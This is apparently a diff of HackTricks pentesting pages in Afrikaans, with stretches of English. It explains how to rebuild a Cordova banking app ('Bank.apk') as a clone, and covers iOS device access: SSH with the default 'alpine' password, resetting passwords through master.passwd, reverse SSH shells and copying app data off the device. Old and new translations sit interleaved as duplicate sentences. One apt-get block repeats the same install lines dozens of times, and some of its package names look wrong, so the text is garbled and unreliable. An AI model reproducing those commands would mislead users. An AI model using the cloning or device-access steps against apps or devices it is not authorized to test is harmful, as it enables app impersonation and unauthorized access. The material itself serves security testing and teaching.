Neem byvoorbeeld 'n toepassing genaamd `Bank.apk` met die pakketsnaam `com.android.bank`. Om toegang tot die bronkode te verkry, pak `bank.apk` uit en navigeer na die `bank/assets/www`-map. Hierdie map bevat die volledige bronkode van die toepassing, insluitend HTML- en JS-lêers. Die konfigurasie van die toepassing kan gevind word in `bank/res/xml/config.xml`.
|
||||
Neem 'n voorbeeldtoepassing genaamd `Bank.apk` met die pakketnaam `com.android.bank`. Om toegang tot die bronkode te verkry, ontsyfer `bank.apk` en navigeer na die `bank/assets/www` gids. Hierdie gids bevat die volledige bronkode van die toepassing, insluitend HTML en JS lêers. Die toepassingskonfigurasie kan gevind word in `bank/res/xml/config.xml`.
|
||||
|
||||
Volg hierdie stappe om die toepassing te kloon:
|
||||
Om die toepassing te kloon, volg hierdie stappe:
|
||||
```bash
|
||||
npm install -g cordova@latest
|
||||
cordova create bank-new com.android.bank Bank
|
||||
|
@ -32,296 +33,47 @@ cd bank-new
|
|||
```
|
||||
Kopieer die inhoud van `bank/assets/www` na `bank-new/www`, met uitsluiting van `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, en die `plugins/` gids.
|
||||
|
||||
Spesifiseer die platform (Android of iOS) wanneer jy 'n nuwe Cordova projek skep. Voeg die Android platform by vir die kloning van 'n Android app. Let daarop dat Cordova se platform weergawes en Android API vlakke verskillend is. Raadpleeg die Cordova [dokumentasie](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) vir besonderhede oor platform weergawes en ondersteunde Android APIs.
|
||||
Specifiseer die platform (Android of iOS) wanneer jy 'n nuwe Cordova-projek skep. Vir die kloon van 'n Android-app, voeg die Android-platform by. Let daarop dat Cordova se platformweergawe en Android API-vlakke verskillend is. Verwys na die Cordova [dokumentasie](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) vir besonderhede oor platformweergawe en ondersteunde Android API's.
|
||||
|
||||
Om die toepaslike Cordova Android platform weergawe te bepaal, kyk na die `PLATFORM_VERSION_BUILD_LABEL` in die oorspronklike toepassing se `cordova.js` lêer.
|
||||
Om die toepaslike Cordova Android-platformweergawe te bepaal, kyk na die `PLATFORM_VERSION_BUILD_LABEL` in die oorspronklike aansoek se `cordova.js`-lêer.
|
||||
|
||||
Nadat die platform opgestel is, installeer die vereiste plugins. Die oorspronklike toepassing se `bank/assets/www/cordova_plugins.js` lêer lys al die plugins en hul weergawes. Installeer elke plugin afsonderlik soos hieronder getoon:
|
||||
Nadat die platform opgestel is, installeer die vereiste plugins. Die oorspronklike aansoek se `bank/assets/www/cordova_plugins.js`-lêer lys al die plugins en hul weergawes. Installeer elke plugin individueel soos hieronder getoon:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
```
|
||||
As 'n invoegtoepassing nie beskikbaar is op npm nie, kan dit vanaf GitHub verkry word:
|
||||
As 'n plugin nie op npm beskikbaar is nie, kan dit van GitHub verkry word:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||
```
|
||||
Maak seker dat al die voorvereistes voldoen word voordat jy begin kompileer:
|
||||
|
||||
```bash
|
||||
$ sudo apt-get install git wget curl unzip -y
|
||||
$ sudo apt-get install openjdk-8-jdk -y
|
||||
$ sudo apt-get install ant -y
|
||||
$ sudo apt-get install gradle -y
|
||||
$ sudo apt-get install android-sdk -y
|
||||
$ sudo apt-get install android-sdk-build-tools -y
|
||||
$ sudo apt-get install android-sdk-platform-tools -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-23 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-25 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-26 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-27 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-28 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-29 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-30 -y
|
||||
$ sudo apt-get install android-sdk-build-tools-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
$ sudo apt-get install android-sdk-platform-23 -y
|
||||
$ sudo apt-get install android-sdk-platform-25 -y
|
||||
$ sudo apt-get install android-sdk-platform-26 -y
|
||||
$ sudo apt-get install android-sdk-platform-27 -y
|
||||
$ sudo apt-get install android-sdk-platform-28 -y
|
||||
$ sudo apt-get install android-sdk-platform-29 -y
|
||||
$ sudo apt-get install android-sdk-platform-30 -y
|
||||
$ sudo apt-get install android-sdk-platform-31 -y
|
||||
```
|
||||
Verseker dat alle vereistes nagekom word voordat jy saamstel:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova requirements
|
||||
```
|
||||
Om die APK te bou, gebruik die volgende bevel:
|
||||
Om die APK te bou, gebruik die volgende opdrag:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
Hierdie bevel genereer 'n APK met die debug-opsie geaktiveer, wat foutopsporing via Google Chrome vergemaklik. Dit is noodsaaklik om die APK te onderteken voordat dit geïnstalleer word, veral as die toepassing kodeverandering-opsporingsmeganismes bevat.
|
||||
Hierdie opdrag genereer 'n APK met die foutopsporing opsie geaktiveer, wat foutopsporing via Google Chrome vergemaklik. Dit is van kardinale belang om die APK te teken voor installasie, veral as die aansoek kode manipulasie opsporing meganismes insluit.
|
||||
|
||||
### Outomatiseringstool
|
||||
### Outomatisering Gereedskap
|
||||
|
||||
Vir diegene wat die kloonproses wil outomatiseer, is **[MobSecco](https://github.com/Anof-cyber/MobSecco)** 'n aanbevole hulpmiddel. Dit vereenvoudig die kloon van Android-toepassings deur die stappe hierbo beskryf.
|
||||
Vir diegene wat die kloonproses wil outomatiseer, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** is 'n aanbevole gereedskap. Dit stroomlyn die kloon van Android aansoeke, wat die stappe hierbo vereenvoudig.
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# iOS Basiese Toetsoperasies
|
||||
# iOS Basic Testing Operations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Opsomming van iOS-toestelidentifikasie en toegang**
|
||||
## **Opsomming van iOS Toestel Identifikasie en Toegang**
|
||||
|
||||
### **Identifisering van die UDID van 'n iOS-toestel**
|
||||
### **Identifisering van die UDID van 'n iOS Toestel**
|
||||
|
||||
Om 'n iOS-toestel uniek te identifiseer, word 'n 40-syfer-reeks bekend as die UDID gebruik. Op macOS Catalina of nuwer kan dit in die **Finder-app** gevind word, aangesien iTunes nie meer teenwoordig is nie. Die toestel, sodra dit via USB gekoppel is en in Finder gekies is, openbaar sy UDID saam met ander inligting wanneer die besonderhede onder sy naam deurgeklik word.
|
||||
Om 'n iOS-toestel uniek te identifiseer, word 'n 40-syfer volgorde bekend as die UDID gebruik. Op macOS Catalina of nuwer, kan dit in die **Finder-app** gevind word, aangesien iTunes nie meer teenwoordig is nie. Die toestel, wanneer dit via USB gekoppel en in Finder gekies is, openbaar sy UDID onder ander inligting wanneer die besonderhede onder sy naam geklik word.
|
||||
|
||||
Vir weergawes van macOS vóór Catalina fasiliteer iTunes die ontdekking van die UDID. Gedetailleerde instruksies kan hier gevind word [hier](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||
Vir weergawes van macOS voor Catalina, fasiliteer iTunes die ontdekking van die UDID. Gedetailleerde instruksies kan [hier](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) gevind word.
|
||||
|
||||
Opdraggereelhulpmiddels bied alternatiewe metodes vir die ophaling van die UDID:
|
||||
Opdraglyn gereedskap bied alternatiewe metodes om die UDID te verkry:
|
||||
|
||||
* **Met behulp van die I/O Registry Explorer-hulpmiddel `ioreg`:**
|
||||
* **Gebruik I/O Registry Explorer gereedskap `ioreg`:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
* **Gebruik van `ideviceinstaller` vir macOS (en Linux):**
|
||||
* **Gebruik `ideviceinstaller` vir macOS (en Linux):**
|
||||
```bash
|
||||
$ brew install ideviceinstaller
|
||||
$ idevice_id -l
|
||||
|
@ -41,99 +42,99 @@ $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p
|
|||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Toegang tot die toestel se skulp**
|
||||
### **Toegang tot die Toestel Skulp**
|
||||
|
||||
**SSH-toegang** word geaktiveer deur die **OpenSSH-pakket** na die gevangenisbreking te installeer, wat verbinding via `ssh root@<toestel_ip_adres>` moontlik maak. Dit is noodsaaklik om die verstek wagwoorde (`alpine`) vir gebruikers `root` en `mobile` te verander om die toestel te beveilig.
|
||||
**SSH-toegang** is geaktiveer deur die **OpenSSH-pakket** na jailbreak te installeer, wat verbindings via `ssh root@<device_ip_address>` moontlik maak. Dit is noodsaaklik om die standaard wagwoorde (`alpine`) vir die gebruikers `root` en `mobile` te verander om die toestel te beveilig.
|
||||
|
||||
**SSH oor USB** word nodig as daar geen Wi-Fi beskikbaar is nie, deur `iproxy` te gebruik om toestel poorte vir SSH-verbindinge te karteer. Hierdie opset maak SSH-toegang moontlik deur USB te gebruik deur die volgende uit te voer:
|
||||
**SSH oor USB** word noodsaaklik in die afwesigheid van Wi-Fi, met `iproxy` om toestelpoorte vir SSH-verbinding te kaart. Hierdie opstelling stel SSH-toegang deur USB in staat deur die volgende uit te voer:
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Op-toestel skulprogramme**, soos NewTerm 2, fasiliteer direkte toestelinteraksie, wat veral nuttig is vir foutopsporing. **Omgekeerde SSH-skulprogramme** kan ook opgestel word vir afstandsbediening vanaf die gasrekenaar.
|
||||
**On-device shell applications**, soos NewTerm 2, fasiliteer direkte toestelinteraksie, veral nuttig vir probleemoplossing. **Reverse SSH shells** kan ook gevestig word vir afstandstoegang vanaf die gasheerrekenaar.
|
||||
|
||||
### **Herstel van vergeetde wagwoorde**
|
||||
### **Herstel van Vergete Wagwoorde**
|
||||
|
||||
Om 'n vergeetde wagwoord terug te stel na die verstekwaarde (`alpine`), is dit nodig om die `/private/etc/master.passwd`-lêer te wysig. Dit behels die vervanging van die bestaande has met die has vir `alpine` langs die `root`- en `mobile`-gebruikersinskrywings.
|
||||
Om 'n vergete wagwoord terug te stel na die standaard (`alpine`), is dit nodig om die `/private/etc/master.passwd` lêer te wysig. Dit behels die vervanging van die bestaande hash met die hash vir `alpine` langs die `root` en `mobile` gebruikersinvoere.
|
||||
|
||||
## **Data-oordragtegnieke**
|
||||
## **Data Oordrag Tegnieke**
|
||||
|
||||
### **Oordrag van App Data-lêers**
|
||||
### **Oordrag van App Data Lêers**
|
||||
|
||||
**Argivering en herwinning via SSH en SCP:** Dit is maklik om die Data-gids van die toepassing te argiveer met behulp van `tar` en dit dan oor te dra met behulp van `scp`. Die onderstaande opdrag argiveer die Data-gids in 'n .tgz-lêer, wat dan van die toestel afgehaal word:
|
||||
**Argivering en Herwinning via SSH en SCP:** Dit is eenvoudig om die toepassing se Data gids te argiveer met `tar` en dit dan oor te dra met `scp`. Die onderstaande opdrag argiveer die Data gids in 'n .tgz lêer, wat dan van die toestel af getrek word:
|
||||
```bash
|
||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
scp -P 2222 root@localhost:/tmp/data.tgz .
|
||||
```
|
||||
### **Grafiese Gebruikerskoppelvlak-hulpmiddels**
|
||||
### **Grafiese Gebruikerskoppelvlak Gereedskap**
|
||||
|
||||
**Gebruik van iFunbox en iExplorer:** Hierdie GUI-hulpmiddels is nuttig vir die bestuur van lêers op iOS-toestelle. Tog het Apple vanaf iOS 8.4 hierdie hulpmiddels se toegang tot die toepassingsandbox beperk, tensy die toestel gejailbreak is.
|
||||
**Gebruik iFunbox en iExplorer:** Hierdie GUI-gereedskap is nuttig vir die bestuur van lêers op iOS-toestelle. egter, vanaf iOS 8.4, het Apple die toegang van hierdie gereedskap tot die toepassingsandbox beperk tensy die toestel gejailbreak is.
|
||||
|
||||
### **Gebruik van Objection vir Lêerbestuur**
|
||||
### **Gebruik Objection vir Lêerbestuur**
|
||||
|
||||
